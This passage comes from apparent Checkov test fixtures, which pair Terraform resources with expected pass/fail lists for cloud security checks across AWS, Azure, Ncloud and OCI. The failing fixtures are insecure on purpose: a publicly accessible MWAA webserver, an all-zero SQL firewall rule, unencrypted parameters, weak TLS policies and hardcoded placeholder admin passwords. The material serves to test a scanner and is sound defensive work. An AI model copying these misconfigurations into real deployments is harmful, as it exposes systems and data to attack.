    "path": "tests/terraform/graph/checks/resources/APIGatewayRequestParameterValidationEnabled/expected.yaml",
    "content": "pass:\n  - \"aws_api_gateway_method.pass\"\nfail:\n  - \"aws_api_gateway_method.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/APIGatewayRequestParameterValidationEnabled/main.tf",
    "content": "resource \"aws_api_gateway_method\" \"pass\" {\n  rest_api_id   = aws_api_gateway_rest_api.MyDemoAPI.id\n  resource_id   = aws_api_gateway_resource.MyDemoResource.id\n  http_method   = \"GET\"\n  authorization = \"NONE\"\n  request_validator_id = \"ebd7nsd8b99\"\n}\n\nresource \"aws_api_gateway_method\" \"fail\" {\n  rest_api_id   = aws_api_gateway_rest_api.MyDemoAPI.id\n  resource_id   = aws_api_gateway_resource.MyDemoResource.id\n  http_method   = \"GET\"\n  authorization = \"NONE\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/APIGatewayWebACLConfiguredWIthLog4jVulnerability/expected.yaml",
    "content": "pass:\n  - \"aws_api_gateway_stage.pass_1\"\n  - \"aws_apigatewayv2_api.pass_2\"\nfail:\n  - \"aws_api_gateway_stage.fail_1\"\n  - \"aws_api_gateway_stage.fail_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/APIGatewayWebACLConfiguredWIthLog4jVulnerability/main.tf",
    "content": "# WAFv2 Web ACL\nresource \"aws_wafv2_web_acl\" \"pass_1\" {\n  name        = \"example-waf-acl\"\n  description = \"Example WAF Web ACL\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"example-rule\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name               = \"example-rule-metric\"\n      sampled_requests_enabled  = true\n    }\n  }\n\n  rule {\n    name     = \"example-rule2\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesKnownBadInputsRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name               = \"example-rule-metric\"\n      sampled_requests_enabled  = true\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = true\n    metric_name               = \"example-web-acl-metric\"\n    sampled_requests_enabled  = true\n  }\n}\n\n# API Gateway Stage\nresource \"aws_api_gateway_stage\" \"pass_1\" {\n  rest_api_id   = aws_api_gateway_rest_api.pass_1.id\n  stage_name    = \"example-stage\"\n  deployment_id = aws_api_gateway_deployment.pass_1.id\n}\n\n# WAF to API Gateway Stage Association\nresource \"aws_wafv2_web_acl_association\" \"pass_1\" {\n  resource_arn = aws_api_gateway_stage.pass_1.arn\n  web_acl_arn  = aws_wafv2_web_acl.pass_1.arn\n}\n\n# Pass2\nresource \"aws_wafv2_web_acl\" \"pass_2\" {\n  name        = \"example-waf-acl\"\n  description = \"Example WAF Web ACL\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"example-rule\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name               = \"example-rule-metric\"\n      sampled_requests_enabled  = true\n    }\n  }\n\n  rule {\n    name     = \"example-rule2\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesKnownBadInputsRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name               = \"example-rule-metric\"\n      sampled_requests_enabled  = true\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = true\n    metric_name               = \"example-web-acl-metric\"\n    sampled_requests_enabled  = true\n  }\n}\n\nresource \"aws_apigatewayv2_api\" \"pass_2\" {\n  name          = \"example-http-api\"\n  protocol_type = \"HTTP\"\n}\n\nresource \"aws_wafv2_web_acl_association\" \"pass_2\" {\n  resource_arn = aws_apigatewayv2_api.pass_2.arn\n  web_acl_arn  = aws_wafv2_web_acl.pass_2.arn\n}\n\n\n\n##################\n\n# WAFv2 Web ACL\nresource \"aws_wafv2_web_acl\" \"fail_2\" {\n  name        = \"example-waf-acl\"\n  description = \"Example WAF Web ACL\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"example-rule\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name               = \"example-rule-metric\"\n      sampled_requests_enabled  = true\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = true\n    metric_name               = \"example-web-acl-metric\"\n    sampled_requests_enabled  = true\n  }\n}\n\n# API Gateway Stage\nresource \"aws_api_gateway_stage\" \"fail_2\" {\n  rest_api_id   = aws_api_gateway_rest_api.fail_2.id\n  stage_name    = \"example-stage\"\n  deployment_id = aws_api_gateway_deployment.fail_2.id\n}\n\n# WAF to API Gateway Stage Association\nresource \"aws_wafv2_web_acl_association\" \"fail_2\" {\n  resource_arn = aws_api_gateway_stage.fail_2.arn\n  web_acl_arn  = aws_wafv2_web_acl.fail_2.arn\n}\n\n##################\n\n# WAFv2 Web ACL\nresource \"aws_wafv2_web_acl\" \"fail_1\" {\n  name        = \"managed-rule-example\"\n  description = \"Example of WAFv2 ACL with multiple managed rule groups\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"common-rule-set\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesCommonRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name               = \"CommonRuleSetMetric\"\n      sampled_requests_enabled  = true\n    }\n  }\n\n  rule {\n    name     = \"anonymous-ip-list\"\n    priority = 2\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name               = \"AnonymousIPListMetric\"\n      sampled_requests_enabled  = true\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = true\n    metric_name               = \"WAFWebACLMetric\"\n    sampled_requests_enabled  = true\n  }\n}\n\n# API Gateway Stage\nresource \"aws_api_gateway_stage\" \"fail_1\" {\n  rest_api_id   = aws_api_gateway_rest_api.fail_1.id\n  stage_name    = \"example-stage\"\n  deployment_id = aws_api_gateway_deployment.fail_1.id\n}\n\n# WAF to API Gateway Stage Association\nresource \"aws_wafv2_web_acl_association\" \"fail_1\" {\n  resource_arn = aws_api_gateway_stage.fail_1.arn\n  web_acl_arn  = aws_wafv2_web_acl.fail_1.arn\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/APIProtectedByWAF/expected.yaml",
    "content": "pass:\n  - \"aws_api_gateway_stage.regional\"\n  - \"aws_api_gateway_stage.wafv2_regional\"\n  - \"aws_api_gateway_stage.wafv2_edge\"\n  - \"aws_api_gateway_stage.no_api\"\n  - \"aws_api_gateway_stage.private\"\nfail:\n  - \"aws_api_gateway_stage.no_assoc\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/APIProtectedByWAF/main.tf",
    "content": "resource \"aws_api_gateway_rest_api\" \"regional\" {\n  name = var.name\n\n  policy = \"\"\n\n  endpoint_configuration {\n    types = [\"REGIONAL\"]\n  }\n}\n\nresource \"aws_api_gateway_rest_api\" \"edge\" {\n  name = var.name\n\n  policy = \"\"\n\n  endpoint_configuration {\n    types = [\"EDGE\"]\n  }\n}\n\nresource \"aws_api_gateway_rest_api\" \"private\" {\n  name = var.name\n\n  policy = \"\"\n\n  endpoint_configuration {\n    types = [\"PRIVATE\"]\n  }\n}\n\nresource \"aws_api_gateway_rest_api\" \"no_stage\" {\n  name = var.name\n\n  policy = \"\"\n\n  endpoint_configuration {\n    types = [\"REGIONAL\"]\n  }\n}\n\nresource \"aws_api_gateway_rest_api\" \"no_assoc\" {\n  name = var.name\n\n  policy = \"\"\n\n  endpoint_configuration {\n    types = [\"REGIONAL\"]\n  }\n}\n\nresource \"aws_api_gateway_stage\" \"no_assoc\" {\n  deployment_id = aws_api_gateway_deployment.example.id\n  rest_api_id   = aws_api_gateway_rest_api.no_assoc.id\n  stage_name    = \"example\"\n}\n\nresource \"aws_api_gateway_stage\" \"private\" {\n  deployment_id = aws_api_gateway_deployment.example.id\n  rest_api_id   = aws_api_gateway_rest_api.private.id\n  stage_name    = \"example\"\n}\n\nresource \"aws_api_gateway_stage\" \"no_api\" {\n  deployment_id = aws_api_gateway_deployment.example.id\n  rest_api_id   = aws_api_gateway_rest_api.no_api.id\n  stage_name    = \"example\"\n}\n\nresource \"aws_api_gateway_stage\" \"regional\" {\n  deployment_id = aws_api_gateway_deployment.example.id\n  rest_api_id   = aws_api_gateway_rest_api.regional.id\n  stage_name    = \"example\"\n}\n\nresource \"aws_api_gateway_stage\" \"wafv2_regional\" {\n  deployment_id = aws_api_gateway_deployment.example.id\n  rest_api_id   = aws_api_gateway_rest_api.regional.id\n  stage_name    = \"example\"\n}\n\nresource \"aws_wafregional_web_acl_association\" \"regional\" {\n  resource_arn = aws_api_gateway_stage.regional.arn\n  web_acl_id   = aws_wafregional_web_acl.foo.id\n}\n\nresource \"aws_wafv2_web_acl_association\" \"regional\" {\n  resource_arn = aws_api_gateway_stage.wafv2_regional.arn\n  web_acl_id   = aws_wafv2_web_acl.foo.id\n}\n\nresource \"aws_api_gateway_stage\" \"wafv2_edge\" {\n  deployment_id = aws_api_gateway_deployment.example.id\n  rest_api_id   = aws_api_gateway_rest_api.edge.id\n  stage_name    = \"example\"\n}\n\nresource \"aws_wafv2_web_acl_association\" \"edge\" {\n  resource_arn = aws_api_gateway_stage.wafv2_edge.arn\n  web_acl_id   = aws_wafv2_web_acl.foo.id\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AWSConfigRecorderEnabled/expected.yaml",
    "content": "fail:\n  - \"aws_config_configuration_recorder_status.fail_1\"\n  - \"aws_config_configuration_recorder_status.fail_2\"\npass:\n  - \"aws_config_configuration_recorder_status.pass\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AWSConfigRecorderEnabled/main.tf",
    "content": "resource \"aws_config_configuration_recorder\" \"pass_recorder\" {\n  name     = \"example\"\n  role_arn = aws_iam_role.r.arn\n\n  recording_group {\n    include_global_resource_types = true\n  }\n  \n}\n\nresource \"aws_config_configuration_recorder_status\" \"pass\" {\n  name       = aws_config_configuration_recorder.pass_recorder.name\n  is_enabled = true\n}\n\nresource \"aws_config_configuration_recorder\" \"fail_recorder_1\" {\n  name     = \"example\"\n  role_arn = aws_iam_role.r.arn\n  \n}\n\nresource \"aws_config_configuration_recorder_status\" \"fail_1\" {\n  name       = aws_config_configuration_recorder.fail_recorder_1.name\n  is_enabled = false\n}\n\nresource \"aws_config_configuration_recorder\" \"fail_recorder_2\" {\n  name     = \"example\"\n  role_arn = aws_iam_role.r.arn\n  recording_group {\n    all_supported = false\n  }\n}\n\nresource \"aws_config_configuration_recorder_status\" \"fail_2\" {\n  name       = aws_config_configuration_recorder.fail_recorder_2.name\n  is_enabled = true\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AWSNATGatewaysshouldbeutilized/expected.yaml",
    "content": "pass:\n  - \"aws_route_table.example\"\n  - \"aws_route_table.aws_route_table_ok_1\"\n  - \"aws_route_table.aws_route_table_ok_2\"\n  - \"aws_route.aws_route_ok_1\"\n  - \"aws_route.aws_route_ok_2\"\n  - \"aws_route.aws_route_ok_blank_instance\"\nfail:\n  - \"aws_route_table.aws_route_table_not_ok\"\n  - \"aws_route.aws_route_not_ok\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AWSNATGatewaysshouldbeutilized/main.tf",
    "content": "resource \"aws_vpc\" \"example\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_internet_gateway\" \"example\" {\n  vpc_id = aws_vpc.example.id\n}\n\nresource \"aws_instance\" \"example\" {\n  ami           = \"ami-005e54dee72cc1d00\"\n  instance_type = \"t2.micro\"\n  associate_public_ip_address = true\n}\n\nresource \"aws_route_table\" \"example\" {\n  vpc_id = aws_vpc.example.id\n}\n\nresource \"aws_route_table\" \"aws_route_table_ok_1\" {\n  vpc_id = aws_vpc.example.id\n\n  route {\n    cidr_block = \"0.0.0.0/0\"\n    gateway_id = aws_internet_gateway.example.id\n  }\n}\n\nresource \"aws_route_table\" \"aws_route_table_ok_2\" {\n  vpc_id = aws_vpc.example.id\n\n  route {\n    cidr_block = \"10.0.0.0/24\"\n    instance_id = aws_instance.example.id\n  }\n}\n\nresource \"aws_route_table\" \"aws_route_table_not_ok\" {\n  vpc_id = aws_vpc.example.id\n\n  route {\n    cidr_block = \"0.0.0.0/0\"\n    instance_id = aws_instance.example.id\n  }\n}\n\nresource \"aws_route\" \"aws_route_ok_1\" {\n  route_table_id            = aws_route_table.example.id\n  destination_cidr_block    = \"0.0.0.0/0\"\n  gateway_id                = aws_internet_gateway.example.id\n}\n\nresource \"aws_route\" \"aws_route_ok_2\" {\n  route_table_id            = aws_route_table.example.id\n  destination_cidr_block    = \"10.0.0.0/24\"\n  instance_id               = aws_instance.example.id\n}\n\n/*\n  In the tf plan files the instance id can be included but blank\n  \"address\": \"aws_route_table.example\",\n    \"mode\": \"managed\",\n    \"type\": \"aws_route_table\",\n    \"name\": \"example\",\n    \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n    \"schema_version\": 0,\n    \"values\": {\n      \"route\": [\n        {\n          \"carrier_gateway_id\": \"\",\n          \"cidr_block\": \"0.0.0.0/0\",\n          \"destination_prefix_list_id\": \"\",\n          \"egress_only_gateway_id\": \"\",\n          \"gateway_id\": \"\",\n  --->    \"instance_id\": \"\",\n          \"ipv6_cidr_block\": \"\",\n          \"local_gateway_id\": \"\",\n          \"network_interface_id\": \"\",\n          \"transit_gateway_id\": \"\",\n          \"vpc_endpoint_id\": \"\",\n          \"vpc_peering_connection_id\": \"\"\n        }\n      ],\n*/\nresource \"aws_route\" \"aws_route_ok_blank_instance\" {\n  route_table_id            = aws_route_table.example.id\n  destination_cidr_block    = \"0.0.0.0/0\"\n  gateway_id                = aws_internet_gateway.example.id\n  instance_id               = \"\"\n}\n\nresource \"aws_route\" \"aws_route_not_ok\" {\n  route_table_id            = aws_route_table.example.id\n  destination_cidr_block    = \"0.0.0.0/0\"\n  instance_id               = aws_instance.example.id\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AWSSSMParametershouldbeEncrypted/expected.yaml",
    "content": "pass:\n  - \"aws_ssm_parameter.aws_ssm_parameter_ok\"\nfail:\n  - \"aws_ssm_parameter.aws_ssm_parameter_not_ok\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AWSSSMParametershouldbeEncrypted/main.tf",
    "content": "resource \"aws_ssm_parameter\" \"aws_ssm_parameter_ok\" {\n name            = \"sample\"\n type            = \"SecureString\"\n value           = \"test\"\n description     = \"policy test\"\n tier            = \"Standard\"\n allowed_pattern = \".*\"\n data_type       = \"text\"\n}\n\nresource \"aws_ssm_parameter\" \"aws_ssm_parameter_not_ok\" {\n name            = \"sample\"\n type            = \"String\"\n value           = \"test\"\n description     = \"policy test\"\n tier            = \"Standard\"\n allowed_pattern = \".*\"\n data_type       = \"text\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AWS_private_MWAA_environment/expected.yaml",
    "content": "pass:\n  - \"aws_mwaa_environment.pud_mwaa_env_pass\"\n  - \"aws_mwaa_environment.pud_mwaa_env_pass_1\"\nfail:\n  - \"aws_mwaa_environment.pud_mwaa_env_fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AWS_private_MWAA_environment/main.tf",
    "content": "# PASS 1: webserver_access_mode = PRIVATE_ONLY\n\nresource \"aws_iam_role\" \"pud_pass_role\" {\n  name = \"pud_pass_role\"\n  assume_role_policy = jsonencode({\n    Version = \"2023-09-27\"\n    Statement = [\n      {\n        Action = \"sts:AssumeRole\"\n        Effect = \"Allow\"\n        Sid    = \"\"\n        Principal = {\n          Service = \"ec2.amazonaws.com\"\n        }\n      },\n    ]\n  })\n\n  tags = {\n    tag-key = \"pud_checkov_pass\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"pud_pass_bucket\" {\n  bucket = \"pud_pass_bucket\"\n}\n\nresource \"aws_mwaa_environment\" \"pud_mwaa_env_pass\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = aws_iam_role.pud_pass_role.arn\n  name               = \"pud_mwaa_env_pass\"\n  webserver_access_mode = \"PRIVATE_ONLY\"\n  source_bucket_arn = aws_s3_bucket.pud_pass_bucket.arn\n}\n\n# PASS 2: webserver_access_mode Not mentioned. DEFAULT = PRIVATE_ONLY\n\nresource \"aws_iam_role\" \"pud_pass_role_1\" {\n  name = \"pud_pass_role_1\"\n  assume_role_policy = jsonencode({\n    Version = \"2023-09-27\"\n    Statement = [\n      {\n        Action = \"sts:AssumeRole\"\n        Effect = \"Allow\"\n        Sid    = \"\"\n        Principal = {\n          Service = \"ec2.amazonaws.com\"\n        }\n      },\n    ]\n  })\n\n  tags = {\n    tag-key = \"pud_checkov_pass_1\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"pud_pass_bucket_1\" {\n  bucket = \"pud_pass_bucket_1\"\n}\n\nresource \"aws_mwaa_environment\" \"pud_mwaa_env_pass_1\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = aws_iam_role.pud_pass_role.arn\n  name               = \"pud_mwaa_env_pass_1\"\n  source_bucket_arn = aws_s3_bucket.pud_pass_bucket.arn\n}\n\n# FAIL: webserver_access_mode = PUBLIC_ONLY\n\nresource \"aws_iam_role\" \"pud_fail_role\" {\n  name = \"pud_fail_role\"\n  assume_role_policy = jsonencode({\n    Version = \"2023-09-27\"\n    Statement = [\n      {\n        Action = \"sts:AssumeRole\"\n        Effect = \"Allow\"\n        Sid    = \"\"\n        Principal = {\n          Service = \"ec2.amazonaws.com\"\n        }\n      },\n    ]\n  })\n\n  tags = {\n    tag-key = \"pud_checkov_fail\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"pud_fail_bucket\" {\n  bucket = \"pud_fail_bucket\"\n}\n\nresource \"aws_mwaa_environment\" \"pud_mwaa_env_fail\" {\n  dag_s3_path        = \"dags/\"\n  execution_role_arn = aws_iam_role.pud_fail_role.arn\n  name               = \"pud_mwaa_env_fail\"\n  webserver_access_mode = \"PUBLIC_ONLY\"\n  source_bucket_arn = aws_s3_bucket.pud_fail_bucket.arn\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AWSdisableS3ACL/expected.yaml",
    "content": "fail:\n  - \"aws_s3_bucket_ownership_controls.pud_bucket_fail\"\npass:\n  - \"aws_s3_bucket_ownership_controls.pud_bucket_pass\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AWSdisableS3ACL/main.tf",
    "content": "# FAIL\n\nresource \"aws_s3_bucket\" \"pud_bucket_fail\" {\n  bucket = \"pud_bucket_fail\"\n}\n\nresource \"aws_s3_bucket_ownership_controls\" \"pud_bucket_fail\" {\n  bucket = aws_s3_bucket.pud_bucket_fail.id\n\n  rule {\n    object_ownership = \"BucketOwnerPreferred\"\n  }\n}\n\n# PASS\n\nresource \"aws_s3_bucket\" \"pud_bucket_pass\" {\n  bucket = \"pud_bucket_pass\"\n}\n\nresource \"aws_s3_bucket_ownership_controls\" \"pud_bucket_pass\" {\n  bucket = aws_s3_bucket.pud_bucket_pass.id\n\n  rule {\n    object_ownership = \"BucketOwnerEnforced\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AccessControlGroupRuleDefine/expected.yaml",
    "content": "pass:\n  - \"ncloud_access_control_group.pass\"\nfail:\n  - \"ncloud_access_control_group.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AccessControlGroupRuleDefine/main.tf",
    "content": "\nresource \"ncloud_access_control_group\" \"pass\" {\n  name        = \"my-acg\"\n  description = \"description\"\n  vpc_no      = ncloud_vpc.vpc.id\n}\n\nresource \"ncloud_access_control_group_rule\" \"acg-rule\" {\n  access_control_group_no = ncloud_access_control_group.pass.id\n}\n\nresource \"ncloud_access_control_group\" \"fail\" {\n  name        = \"my-acg\"\n  description = \"description\"\n  vpc_no      = ncloud_vpc.vpc.id\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AccessToPostgreSQLFromAzureServicesIsDisabled/expected.yaml",
    "content": "pass:\n  - \"azurerm_sql_server.sql_server_good\"\nfail:\n  - \"azurerm_sql_server.sql_server_bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AccessToPostgreSQLFromAzureServicesIsDisabled/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_sql_server\" \"sql_server_good\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = \"West US\"\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n\nresource \"azurerm_sql_server\" \"sql_server_bad\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = \"West US\"\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"\n}\n\n\nresource \"azurerm_sql_firewall_rule\" \"firewall_rule_good\" {\n  name                = \"FirewallRule1\"\n  resource_group_name = azurerm_resource_group.example.name\n  server_name         = azurerm_sql_server.sql_server_good.name\n  start_ip_address    = \"10.0.17.62\"\n  end_ip_address      = \"10.0.17.62\"\n}\n\nresource \"azurerm_sql_firewall_rule\" \"firewall_rule_bad\" {\n  name                = \"FirewallRule1\"\n  resource_group_name = azurerm_resource_group.example.name\n  server_name         = azurerm_sql_server.sql_server_bad.name\n  start_ip_address    = \"0.0.0.0\"\n  end_ip_address      = \"0.0.0.0\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AdministratorUserNotAssociatedWithAPIKey/expected.yaml",
    "content": "pass:\n  - 'oci_identity_user.user2'\n  - 'oci_identity_user.user3'\n  - 'oci_identity_user.user4'\nfail:\n  - 'oci_identity_user.user1'"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AdministratorUserNotAssociatedWithAPIKey/main.tf",
    "content": "# Test Case TLDR:\n# Users in groups:\n#   admin_group:\n#       user1 (has api key)\n#       user2 (no api key)\n#   non_admin_group:\n#       user3 (no api key)\n# Users not in a group:\n#   user4 (no api key)\n\n\nresource \"oci_identity_user\" \"user1\" {\n    #Required\n    compartment_id = \"var.tenancy_ocid\"\n    description = \"var.user_description\"\n    name = \"user1\"\n\n    #Optional\n    defined_tags = {\"Operations.CostCenter\"= \"42\"}\n    email = \"var.user_email\"\n    freeform_tags = {\"Department\"= \"Finance\"}\n}\n\nresource \"oci_identity_user\" \"user2\" {\n    #Required\n    compartment_id = \"var.tenancy_ocid\"\n    description = \"var.user_description\"\n    name = \"user2\"\n\n    #Optional\n    defined_tags = {\"Operations.CostCenter\"= \"42\"}\n    email = \"var.user_email\"\n    freeform_tags = {\"Department\"= \"Finance\"}\n}\n\nresource \"oci_identity_user\" \"user3\" {\n    #Required\n    compartment_id = \"var.tenancy_ocid\"\n    description = \"var.user_description\"\n    name = \"user3\"\n\n    #Optional\n    defined_tags = {\"Operations.CostCenter\"= \"42\"}\n    email = \"var.user_email\"\n    freeform_tags = {\"Department\"= \"Finance\"}\n}\n\nresource \"oci_identity_user\" \"user4\" {\n    #Required\n    compartment_id = \"var.tenancy_ocid\"\n    description = \"var.user_description\"\n    name = \"user3\"\n\n    #Optional\n    defined_tags = {\"Operations.CostCenter\"= \"42\"}\n    email = \"var.user_email\"\n    freeform_tags = {\"Department\"= \"Finance\"}\n}\n\n\nresource \"oci_identity_group\" \"admin_group\" {\n    #Required\n    compartment_id = \"var.tenancy_ocid\"\n    description = \"var.group_description\"\n    name = \"Administrators\"\n\n    #Optional\n    defined_tags = {\"Operations.CostCenter\"= \"42\"}\n    freeform_tags = {\"Department\"= \"Finance\"}\n}\n\n\nresource \"oci_identity_group\" \"non_admin_group\" {\n    #Required\n    compartment_id = \"var.tenancy_ocid\"\n    description = \"var.group_description\"\n    name = \"NotAdministrators\"\n\n    #Optional\n    defined_tags = {\"Operations.CostCenter\"= \"42\"}\n    freeform_tags = {\"Department\"= \"Finance\"}\n}\n\n\nresource \"oci_identity_api_key\" \"user1_api_key\" {\n    #Required\n    key_value = \"var.api_key_key_value\"\n    user_id = oci_identity_user.user1.id\n}\n\n\nresource \"oci_identity_user_group_membership\" \"user1_in_admin_group\" {\n    #Required\n    group_id = oci_identity_group.admin_group.id\n    user_id = oci_identity_user.user1.id\n}\n\n\nresource \"oci_identity_user_group_membership\" \"user2_in_admin_group\" {\n    #Required\n    group_id = oci_identity_group.admin_group.id\n    user_id = oci_identity_user.user2.id\n}\n\n\nresource \"oci_identity_user_group_membership\" \"user3_in_non_admin_group\" {\n    #Required\n    group_id = oci_identity_group.non_admin_group.id\n    user_id = oci_identity_user.user3.id\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AppLoadBalancerTLS12/expected.yaml",
    "content": "pass:\n  - \"aws_lb_listener.http_redirect\"\n  - \"aws_lb_listener.tcp\"\n  - \"aws_lb_listener.udp\"\n  - \"aws_lb_listener.tcp_udp\"\n  - \"aws_lb_listener.tls_1_3\"\n  - \"aws_lb_listener.tls_fs_1_2\"\n  - \"aws_lb_listener.https_fs_1_2\"\n  - \"aws_alb_listener.https_fs_1_2\"\n  - \"aws_lb_listener.gateway_listener\"\nfail:\n  - \"aws_lb_listener.http\"\n  - \"aws_lb_listener.https_2016\"\n  - \"aws_lb_listener.tls_fs_1_1\"\n  - \"aws_alb_listener.tls_fs_1_1\"\n  - \"aws_lb_listener.cognito\"\n  - \"aws_lb_listener.wrong_redirect\"\n  - \"aws_lb_listener.not_gateway_listener\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AppLoadBalancerTLS12/main.tf",
    "content": "# pass\n\nresource \"aws_lb_listener\" \"http_redirect\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"HTTP\"\n  port              = \"80\"\n\n  default_action {\n    type = \"redirect\"\n\n    redirect {\n      port        = \"443\"\n      protocol    = \"HTTPS\"\n      status_code = \"HTTP_301\"\n    }\n  }\n}\n\nresource \"aws_lb_listener\" \"tcp\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"TCP\"\n  port              = \"8080\"\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = var.aws_lb_target_group_arn\n  }\n}\n\nresource \"aws_lb_listener\" \"udp\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"UDP\"\n  port              = \"8080\"\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = var.aws_lb_target_group_arn\n  }\n}\n\nresource \"aws_lb_listener\" \"tcp_udp\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"TCP_UDP\"\n  port              = \"8080\"\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = var.aws_lb_target_group_arn\n  }\n}\n\nresource \"aws_lb_listener\" \"tls_1_3\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"TLS\"\n  port              = \"8080\"\n  ssl_policy        = \"ELBSecurityPolicy-TLS13-1-2-2021-06\"\n  certificate_arn   = var.certificate_arn\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = var.aws_lb_target_group_arn\n  }\n}\n\nresource \"aws_lb_listener\" \"tls_fs_1_2\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"TLS\"\n  port              = \"8080\"\n  ssl_policy        = \"ELBSecurityPolicy-FS-1-2-Res-2019-08\"\n  certificate_arn   = var.certificate_arn\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = var.aws_lb_target_group_arn\n  }\n}\n\nresource \"aws_lb_listener\" \"https_fs_1_2\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"HTTPS\"\n  port              = \"443\"\n  ssl_policy        = \"ELBSecurityPolicy-FS-1-2-Res-2019-08\"\n  certificate_arn   = var.certificate_arn\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = var.aws_lb_target_group_arn\n  }\n}\n\nresource \"aws_alb_listener\" \"https_fs_1_2\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"HTTPS\"\n  port              = \"443\"\n  ssl_policy        = \"ELBSecurityPolicy-FS-1-2-Res-2019-08\"\n  certificate_arn   = var.certificate_arn\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = var.aws_lb_target_group_arn\n  }\n}\n\n# gateway LB\nresource \"aws_lb\" \"gateway_lb\" {\n  load_balancer_type = \"gateway\"\n  name               = \"example\"\n}\n\nresource 